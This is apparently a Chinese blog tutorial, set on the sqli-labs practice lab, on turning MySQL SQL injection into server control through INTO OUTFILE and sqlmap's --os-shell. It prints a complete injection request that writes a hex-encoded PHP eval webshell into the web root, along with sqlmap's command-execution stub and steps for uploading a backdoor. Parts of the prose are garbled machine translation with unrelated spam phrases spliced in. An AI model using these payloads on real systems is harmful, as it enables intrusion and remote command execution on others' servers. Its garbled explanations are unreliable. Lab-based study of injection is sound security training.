介绍几种利用sql注入获取系统权限的方法,一种是使用outfile函数,另一种是使用–os-shell。
1.进入outfile
使用条件
1. 该方法利用的先决条件
2. secure_file_priv
secure_file_priv用于限制load dumpfile、into outfile、load_file()函数有权限上传和读取文件的目录。 secure_file_priv的值在mysql 5.6.34版本之后默认为NULL。下面是secure_file_priv的配置介绍
那么如果我们要使用into outfile函数写一句话,就需要将secure_file_priv的值设置为无值,怎么设置呢?修改secure_file_priv的值只能通过手动打开配置文件来修改,不能直接用sql语句修改
(1)看secure-file-priv参数的值
显示全局变量,如“%secure%”;
如下,secure_file_priv的值默认为NULL,表示不允许mysqld import|export
(2)修改secure_file_priv的值
我们可以查看mysql/my.ini中是否有secure_file_priv参数,如果没有,可以加上secure_file_priv = ' '
这时查看secure_file_priv的值如下,已经变空了
设置完成后,我们就可以使用这个函数来写一句木马了
写入webshell
下面以sqli-labs第七关为例
1、注入点的判断
正确的语法正常显示,错误的语法显示为语法错误。 页面只有两种状态,判断为盲注。当我们输入 ?id=3')) 和 sleep(5) –+ 时,延迟成功,所以注入点为3')) ,我们输入的字符是用单引号括起来的,单引号外还有两个字符双引号换行
2.确定列数
我们使用 order by 语句来确定列数。 按3排序时显示正常,按4排序时异常,判断为3列
3.写入webshell
如果我们之前已经通过一些方法得到了网站的根目录,可以写一句“ ”,一句话,建议进行16进制转码
编码后,再在最前面加上0x。如下,我们将16进制编码后的一句话木马写入根目录下的outfile.php文件中
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\Users\Administrator.WIN2012\Desktop\phpStudy\WWW\outfile.php' –+
写入成功,这里的网站目录一定要用双斜杠,否则不会写入,第一个斜杠表示转义。 字符串解析不限于C编译器、Java编译器的解析php上传图片到指定文件夹,一些配置文件、Web服务器等,都会遇到解析字符串的问题。 由于传统Windows使用单斜杠路径分隔形式,在解析文件路径时可能会出现不必要的错误,所以就有了双反斜杠“\”分隔路径的形式。 不管解析引擎是否将反斜杠解析成转义符,最终在内存中得到的都是“”,结果不会有问题。
4.连接webshell
连接成功
如果我们将secure_file_priv的值设置为null,我们发现在上面的写操作中并没有写入。
所以有两种情况没有写进去:
2. –os-shell
原则
–os-shell 是使用udf提权获取WebShell。它也是通过oufile写两个文件到服务器,一个可以直接执行系统命令,一个可以上传文件
这是sqlmap的一个命令,使用这个命令的前提条件:
使用
1.测试
下面以sqli-labs第一关为例
sqlmap -u –os-shell
sqlmap在指定目录下生成两个文件(文件名随机,不固定):
1、tmpbeewq.php文件内容为
&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"$w
访问
2.使用tmpuqvgw.php上传文件
我们上传一个php一句话后门
使用权
所以这两种方法都需要知道网站的绝对路径。
补充:
上面提到了将sqlmap写入webshell的三种方式,缺一不可
在最近的一次网络防护中,使用了sqlmap来编写webshell。 我知道网站的根目录,但是还是写不进去,是因为secure_file_priv的值为NULLphp上传图片到指定文件夹,怎么知道这个值是多少?
--sql-shell
我们可以用这个先执行一些sql语句,比如这是实战中的测试
输入sql语句
选择@@secure_file_priv
提示为空
于是就会出现,如下错误
原文链接:2
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,请联系我们进行处理。